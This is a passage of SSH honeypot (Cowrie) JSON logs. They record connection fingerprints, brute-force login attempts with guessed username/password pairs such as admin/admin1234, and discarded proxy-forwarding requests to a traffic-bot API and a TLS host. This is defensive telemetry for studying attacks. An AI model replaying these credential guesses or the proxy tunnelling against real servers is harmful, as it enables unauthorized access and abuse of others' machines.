5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":46906,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf6b0a289da7","protocol":"ssh","message":"New connection: 103.60.242.169:46906 (159.203.135.109:22) [session: bf6b0a289da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:19.826216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:19.830494Z","src_ip":"103.60.242.169","session":"bf6b0a289da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:20.088216Z","src_ip":"103.60.242.169","session":"bf6b0a289da7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:20.455244Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Computer123","message":"login attempt [root/Computer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:21.154063Z","src_ip":"103.60.242.169","session":"bf6b0a289da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:22.416228Z","src_ip":"103.60.242.169","session":"bf6b0a289da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:22.839123Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":52442,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ad35aec9159","protocol":"ssh","message":"New connection: 2.99.213.222:52442 (159.203.135.109:22) [session: 0ad35aec9159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:32.936353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:32.940423Z","src_ip":"2.99.213.222","session":"0ad35aec9159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:33.038727Z","src_ip":"2.99.213.222","session":"0ad35aec9159","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:33.268849Z","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:33.272774Z","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:33.335589Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=b1hMNEQkc1JIX3BRdm41Iw%3D%3DODgmgZB3lAgJax4q70xIf7%2By9oyp7xoNfNOZZwivEdPlrrpNGyoJj3MwZ4U55X0oc%2BEdHrbDZaadJb7siYmBAtzc3vNVNK8UExkVkcPcFy%2FYGeE0yUMOyFGSSmq6VKTrZi8hOLbaNYZXbB5%2FOMVEv5ykTIjvnV%2FKXm7PlKpQ8y19wOzeMlFtoJhV9uAS9jHPNHB9Xvtd2in%2Bqooc%2FJcGjYRgmtanvl6tNz5AArc81Jk%2F5IMxRdXW1u%2FDGgKUXY2wXiHARtbJnx6CdTziOpetNA1BWZZN0n0HwknkxeToyycwtR4OYqquuEk%2FeHHohFm0%2BLFJBt6TYf%2FMtbiE%2BGBTNPFjmXG%2FEFxkB4VwEyDUS%2Byfa61T48Z1CKgm%2FkcNddV%2BbdUpwXXzwISSzfQZBuyEFZcs8%2BEBDbx%2FrOyZD8YiEFrRaurJdQ2RFoho%2BtNwwO3rIUG0LyHCQsO3x9fSURNsf%2Bey3q03Lhs3SJzjsd%2BITZAkPhrXqS8ZNLIo3efPPSOPEdR9EFbZwhvkT4spTnPfyczc%2B4c4oGMNngeQvs77RZcNmawaEyL9SEzXS4t8ZFfRRpMDDype%2BJf6xCDJThw6y0b805N%2FKvZTFWuTcpCVEcYhfelgeeAIBOldMheCOmZDMu9Ywi%2BzkbYbZ%2BXOQj%2B8dau%2FJc3dqHBa5%2FrGzXAkUqcE%2BBrFQNTfvplI%2Bdmh%2B7zhJMDnjNZnTnmKv%2Fsh4BlK4ejucKCg9lt%2BJlOJ7fm7Y1tFAjYRxhCdBcfYWfrrafkp9gymLSp4GMBGrJAw2SvCHD%2Bw3WRlluh3nL1LFYTH2Cl2VHy1FlprWPv31F8AXX4OzxxRk%2F7OUqUwgSGFKr2nXBOpq7KB5XmMJAzLm4md%2FdZ2ZrXHxU5vxEuR0GVAKCWVEkn%2BpDNhZl7b524BjQa9gPap4r%2BvEpoHaYL4BWKmMfdn0ppfAIwL10nAidAFHOxONeuZ76huNNy97tvk1PqYouCeh47pMdTDGs4A15A6vx98hJhiyGtHZIcKjKw6iBJNVhRB1lRhZLMkYqDFYAAJOK1UvmnnpXllTAHCYnaGuQc%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=b1hMNEQkc1JIX3BRdm41Iw%3D%3DODgmgZB3lAgJax4q70xIf7%2By9oyp7xoNfNOZZwivEdPlrrpNGyoJj3MwZ4U55X0oc%2BEdHrbDZaadJb7siYmBAtzc3vNVNK8UExkVkcPcFy%2FYGeE0yUMOyFGSSmq6VKTrZi8hOLbaNYZXbB5%2FOMVEv5ykTIjvnV%2FKXm7PlKpQ8y19wOzeMlFtoJhV9uAS9jHPNHB9Xvtd2in%2Bqooc%2FJcGjYRgmtanvl6tNz5AArc81Jk%2F5IMxRdXW1u%2FDGgKUXY2wXiHARtbJnx6CdTziOpetNA1BWZZN0n0HwknkxeToyycwtR4OYqquuEk%2FeHHohFm0%2BLFJBt6TYf%2FMtbiE%2BGBTNPFjmXG%2FEFxkB4VwEyDUS%2Byfa61T48Z1CKgm%2FkcNddV%2BbdUpwXXzwISSzfQZBuyEFZcs8%2BEBDbx%2FrOyZD8YiEFrRaurJdQ2RFoho%2BtNwwO3rIUG0LyHCQsO3x9fSURNsf%2Bey3q03Lhs3SJzjsd%2BITZAkPhrXqS8ZNLIo3efPPSOPEdR9EFbZwhvkT4spTnPfyczc%2B4c4oGMNngeQvs77RZcNmawaEyL9SEzXS4t8ZFfRRpMDDype%2BJf6xCDJThw6y0b805N%2FKvZTFWuTcpCVEcYhfelgeeAIBOldMheCOmZDMu9Ywi%2BzkbYbZ%2BXOQj%2B8dau%2FJc3dqHBa5%2FrGzXAkUqcE%2BBrFQNTfvplI%2Bdmh%2B7zhJMDnjNZnTnmKv%2Fsh4BlK4ejucKCg9lt%2BJlOJ7fm7Y1tFAjYRxhCdBcfYWfrrafkp9gymLSp4GMBGrJAw2SvCHD%2Bw3WRlluh3nL1LFYTH2Cl2VHy1FlprWPv31F8AXX4OzxxRk%2F7OUqUwgSGFKr2nXBOpq7KB5XmMJAzLm4md%2FdZ2ZrXHxU5vxEuR0GVAKCWVEkn%2BpDNhZl7b524BjQa9gPap4r%2BvEpoHaYL4BWKmMfdn0ppfAIwL10nAidAFHOxONeuZ76huNNy97tvk1PqYouCeh47pMdTDGs4A15A6vx98hJhiyGtHZIcKjKw6iBJNVhRB1lRhZLMkYqDFYAAJOK1UvmnnpXllTAHCYnaGuQc%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:33.338250Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lc123456.","message":"login attempt [root/Lc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:33.484239Z","src_ip":"2.99.213.222","session":"0ad35aec9159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:34.593507Z","src_ip":"2.99.213.222","session":"0ad35aec9159","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.325199Z","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.329968Z","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.362557Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9d\\xd6\\xe7\\x8e\\xb6\\x958=\\xcf|\\x19u\\x8bX\\x8c\\xd3\\xbe\\x0e\\x1c\\xd7\\xa3\\x06\\xc4\\x98obF9\\xd9\\xf1\\xea\\x88 ] F\\xa6\\xde\\xab8\\x98\\n\\x8a\\x1a\\x97\\x9ar|\\xf7\\xfe\\xfdIY2\\xd0b}\\x00\\xc0\\x88\\xf4\\xf7\\x0eL\\xb8\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\x98\\xbf\\xdb#\\xf6N\\x81\\x1dU\\xe5G\\x07\\xb7M}\\x1b\\x93\\xf1\\xdd\\xb1\\xe5\\x12\\xbe\\x90H\\x89\\xfe\\xafCK \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9d\\xd6\\xe7\\x8e\\xb6\\x958=\\xcf|\\x19u\\x8bX\\x8c\\xd3\\xbe\\x0e\\x1c\\xd7\\xa3\\x06\\xc4\\x98obF9\\xd9\\xf1\\xea\\x88 ] F\\xa6\\xde\\xab8\\x98\\n\\x8a\\x1a\\x97\\x9ar|\\xf7\\xfe\\xfdIY2\\xd0b}\\x00\\xc0\\x88\\xf4\\xf7\\x0eL\\xb8\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\x98\\xbf\\xdb#\\xf6N\\x81\\x1dU\\xe5G\\x07\\xb7M}\\x1b\\x93\\xf1\\xdd\\xb1\\xe5\\x12\\xbe\\x90H\\x89\\xfe\\xafCK \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.365879Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:36.370982Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\xe1\\x08FB\\xa0\\xb7\\x8eg\\x18R\\xb2\\x88d\\x1c\\xbf#\\xf5J5S5\\x90\\x8b#\\xd9\\x88\\xdd{\\x91\\x93\\xb1 8\\xff`\\xbd$\\x18\\x92\\xeb\\xeb\\xaf;\\xeb\\x0cg\\x12q\\xbf\\x1e\\x99(\\x8c\\xe2\\xea\\x0f#l\\xac\\x99\\xa6\\xb1\\xc9\\x1b\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 R\\xcd\\xd1\\x8aJ<\\xc1\\x1e\\xed\\xe6\\x90\\x0ei\\xcc\\xa7\\x08\\x1d_0H\\xa2\\xaa/;\\xb2\\xaf\\xbf\\xb7\\xe8\\xeb'\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\xe1\\x08FB\\xa0\\xb7\\x8eg\\x18R\\xb2\\x88d\\x1c\\xbf#\\xf5J5S5\\x90\\x8b#\\xd9\\x88\\xdd{\\x91\\x93\\xb1 8\\xff`\\xbd$\\x18\\x92\\xeb\\xeb\\xaf;\\xeb\\x0cg\\x12q\\xbf\\x1e\\x99(\\x8c\\xe2\\xea\\x0f#l\\xac\\x99\\xa6\\xb1\\xc9\\x1b\\x00 